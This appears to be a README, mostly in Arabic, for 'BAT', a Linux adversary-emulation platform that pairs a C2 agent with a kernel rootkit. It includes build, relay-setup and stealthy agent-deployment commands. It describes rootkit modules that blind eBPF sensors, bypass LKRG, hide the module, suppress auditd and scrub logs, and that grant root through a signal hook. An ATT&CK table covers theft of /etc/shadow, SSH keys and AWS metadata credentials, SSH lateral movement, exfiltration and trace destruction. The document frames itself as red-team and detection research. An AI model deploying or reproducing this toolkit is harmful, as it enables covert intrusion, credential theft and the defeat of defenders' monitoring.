
منصة محاكاة خصم لينكس كاملة الطيف مع تمويه على مستوى النواة، واتصال C2، وتصعيد الامتيازات، وجمع بيانات الاعتماد، والحركة الجانبية، وتدمير القطع الأثرية. مصممة لعمليات الفريق الأحمر وأبحاث الكشف.
BAT هو نموذج تهديد خصم واقعي ومتطور لنظامي Linux وWindows. إنه ليس إطار عمل C2 وليس rootkit. إنه منصة محاكاة تهديدات متكاملة تدمج اتصالات C2، ووحدات rootkit خفية على مستوى النواة، والتهرب من مساحة المستخدم، وتصعيد الامتيازات، والاستمرارية، وحقن العمليات، وجمع بيانات الاعتماد، والاستخراج، والحركة الجانبية في خصم واحد متماسك. الهدف التصميمي هو أن يكون التهديد الأكثر تطورًا وواقعية لنظام Linux يمكن تحقيقه في 2026، بغض النظر عما يلتقطه أي نظام كشف حاليًا.
إنه الجانب الخصم من زوج بحثي. يتطور إطار Aura لاكتشاف Bat، ويتطور Bat للتهرب من Aura. الخصم لا يُقيَّد أبدًا بواسطة نظام الكشف.
apt install nasm gcc-x86_64-linux-gnu binutils-x86_64-linux-gnu golang-go go install mvdan.cc/garble@latest
### 2. الإعداد```bash
cp build.env.example build.env
nano build.env # RELAY_IP, SECRET, BAT_KEY, CDN_DOMAIN
قم بتوليد سر: openssl rand -hex 16
./build.sh # garble agent (x86_64+arm64) + server (arm64) + netshell ./build.sh agent # agent only ./build.sh server # server arm64 only (EC2 / Mac M-series) ./build.sh server-amd64 # server x86_64 only (PC Intel/AMD) ./build.sh netshell # netshell only
الملفات الثنائية تستقر في `bin/`.
### 4. تشغيل المرحّل```bash
# on the relay VPS (as root)
sudo bash -s -- --tg-token $TG_TOKEN --tg-chat-id $TG_CHAT_ID < relay/setup.sh
# from the operator machine
source build.env
relay/sync.sh ubuntu@$RELAY_IP --key $BAT_KEY --restart-kcc --tg
scp -i $BAT_KEY bin/netshell-v11-{x86_64,arm64} ubuntu@$RELAY_IP:/var/www/nexus/agents/
./bin/bat-server-v11-arm64 # tunnel starts automatically, no flags needed
انشر وكيلًا على الهدف:```bash
sudo setsid /path/to/bat-agent-v11-x86_64 </dev/null >/tmp/.log 2>&1 &
disown
يظهر الوكيل في bat-server بالشكل <agentID>@<hostname> خلال فترة اتصال واحدة (الافتراضي 30 ثانية).
طبقة التخفي في النواة (bat-stealth.ko، المصدر في kperf-qos/) مبنية مباشرةً على Singularity، وهو إطار بحث متقدم لراوتكيتات النواة. تم نقل وتكييف أربع وحدات أساسية:
bpf_hook: يعترض استدعاء bpf(2) وجميع بدائيات اتصال eBPF. لا يتلقى أي مستشعر eBPF أي بيانات تتبع للـ PIDs المخفية. التكييف: ARCH_SYS("bpf") يحل محل __x64_sys_bpf الخاص بمعمارية x86 فقط؛ تمت إزالة __ia32_sys_bpf لمعمارية ARM64؛ تم استبدال HIDDEN_PORT بمتغير عام قابل للضبط عبر sysfs.
hiding_fs: إخفاء كامل لنظام الملفات: تصفية getdents64/getdents، تعديل عدد الروابط nlink في stat/statx/newfstatat، حظر /proc/<pid> في openat/access/faccessat، وحظر chdir وreadlink. تم دمجها من خمس وحدات في Singularity (hiding_directory, hiding_stat, open, hiding_chdir, hiding_readlink). التكييف: وحدات ماكرو REGS_ARGn تحل محل الوصول المباشر للسجلات؛ تم توسيع should_hide_path() لدعم bat_hidden_paths[] المضبوطة وقت التشغيل.
hide_module: يزيل bat-stealth.ko من جميع قوائم وحدات النواة. التوسيع: Singularity يحفظ list.prev فقط؛ هذا الإصدار يحفظ كلاً من list.prev وlist.next ويسمّم كليهما لمنع العبور في أي اتجاه. تمت إضافة module_unhide() للإزالة القابلة للعكس، وهو أمر يتطلبه K-99 قبل أن يتمكن delete_module(2) من تحديد موقع الوحدة بالاسم.
lkrg_bypass: يكتم إنفاذ LKRG للعمليات المخفية: يعترض تسليم الإشارات لمنع SIGKILL عن المهام المخفية، ويعترض vprintk_emit لإسقاط رسائل سجل LKRG، ويعطّل التحقق من UMH أثناء تنفيذ الوكيل. تم نقله مباشرة دون تغييرات معمارية.
الوحدات التالية طُوّرت بشكل مستقل:
become_root: اعتراض الإشارة 59 التي تستدعي commit_creds(prepare_kernel_cred(NULL)) لمنح uid=0 (K-03)selfdefense: يحجب جمع الذاكرة عبر LiME، يخفي إدخالات kallsyms، يحجب kprobes على رموز الوكيل، ويعيد إخفاء الوحدة عند أي محاولة تعدادaudit: يكتم أحداث auditd للـ PIDs المخفيةsysrq_hook: يعترض SysRq-T لاستبعاد العمليات المخفية من تفريغات المهامtaskstats_hook: يصفّي استجابات NETLINK taskstats للـ PIDs المخفيةreset_tainted + clear_taint_dmesg: يصفّر /proc/sys/kernel/tainted ويصفّي أسطر dmesg التي تحتوي على أدلة تحميل الوحدةhooks_write: يعترض جميع مسارات الكتابة في النواة (write/splice/sendfile/tee + io_uring_enter/enter2 + ia32 compat) لإسقاط إدخالات السجل المطابقة لنصوص الوكيل قبل وصولها إلى syslog أو journaldpid_manager: نقطة تتبع fork للحفاظ على مجموعة الـ PIDs المخفية عبر العمليات الفرعيةالمكدس الكامل يجعل الوكيل وجميع آثاره غير مرئية لـ: ps, top, ss, netstat, lsof, والتنقل في نظام الملفات عبر المسارات المخفية، وlsmod, وsysfs, وkallsyms, وauditd, وجميع مستشعرات eBPF, وLKRG, وLiME, والتحليل الجنائي عبر SysRq.
| ATT&CK ID | التقنية | تنفيذ Bat |
|---|---|---|
| T1036.005 | التنكر: مطابقة اسم شرعي | TTP 1: prctl(PR_SET_NAME) إلى kworker/0:1 |
| T1055 | حقن العمليات | TTP 11: حقن خيط shellcode + rawsock في عملية حية |
| T1205.001 | إشارات المرور (حزمة سحرية) | تشغيل UDP/ICMP يوقظ الوكيل من السكون |
| T1071.001 | C2 عبر بروتوكولات الويب | اتصالات HTTPS عبر المنفذ :443 أو :9443 |
| T1573.001 | قناة مشفرة: تناظرية | اتصالات مُوثَّقة بـ HMAC-SHA256 عبر TLS |
| T1090.004 | وكيل: انتحال النطاق (Domain Fronting) | ملف تعريف CDN يوجّه حركة مرور الوكيل عبر طبقة وكيل طرفية |
| T1574.006 | اختطاف التنفيذ: LD_PRELOAD | TTP 10: bat-rootkit.so عبر /etc/ld.so.preload |
| T1014 | روت كيت | bat-stealth.ko: يخفي الـ PIDs والمنافذ والملفات والوحدة ونفسه |
| T1562.001 | إضعاف الدفاعات: تعطيل الأدوات | bpf_hook يعمي مستشعرات eBPF؛ lkrg_bypass يعطّل LKRG |
| T1562.012 | إضعاف الدفاعات: تعطيل تدقيق لينكس | وحدة audit تكتم أحداث auditd للـ PIDs المخفية |
| T1068 | تصعيد الامتيازات عبر الاستغلال | K-03: الإشارة 59 تُطلق commit_creds إلى uid=0 |
| T1543.002 | إنشاء/تعديل عملية نظام: Systemd | TTP 6: استمرارية عبر وحدة systemd |
| T1053.003 | مهمة مجدولة: Cron | TTP 6: استمرارية عبر crontab |
| T1070.002 | مسح سجلات لينكس | clear_taint_dmesg يصفّي dmesg؛ reset_tainted يصفّر علامة taint؛ hooks_write يُسقط إدخالات السجل داخل النواة |
| T1070.004 | إزالة المؤشرات: حذف الملفات | TTP 222 destruct: مسح كامل للآثار |
| T1003 | تفريغ بيانات الاعتماد | TTP 7/23: /etc/shadow، سجل الأوامر، أسرار البيئة |
| T1552.004 | بيانات اعتماد غير محمية: مفاتيح خاصة | TTP 21: مفاتيح SSH، known_hosts، الإعدادات |
| T1552.005 | بيانات وصفية لمثيل سحابي | TTP 23: جمع بيانات اعتماد AWS IMDS |
| T1018 | اكتشاف الأنظمة البعيدة | TTP 20/34: تعداد ARP + فحص شبكة /16 CIDR |
| T1046 | فحص خدمات الشبكة | TTP 20/34: فحص منافذ TCP للأنظمة المكتشفة |
| T1021.004 | حركة جانبية عبر SSH | TTP 22/35: نسخ نفسه عبر SCP إلى النظام المكتشف وتنفيذ منفصل |
| T1078 | حسابات صالحة | TTP 22/35: الحركة الجانبية تستخدم مفاتيح SSH المُجمَّعة |
| T1048 | سرقة البيانات عبر بروتوكول بديل | TTP 30/31/32: سرقة ملفات ومجلدات عبر قناة الاتصال |
| T1059.004 | تنفيذ أوامر يونكس شل | TTP 4: تنفيذ أوامر عشوائية |
| T1027 | ملفات أو معلومات مُعمّاة | garble -literals -tiny -seed=random؛ ترميز الإعدادات XOR(0x5A) |
| T1620 | تحميل كود انعكاسي | TTP 11: تنفيذ shellcode في مساحة عنوان العملية المستهدفة؛ تحميل bat-stealth.ko عبر memfd_create |
Target Relay (VPS) Operator (local)
bat-agent --HTTPS:443--> nginx:443 -> :8443 --tunnel--> bat-server:9443 --TCP:9443 --> sshd:9443 --tunnel--> --UDP/ICMP --> (trigger forwarded)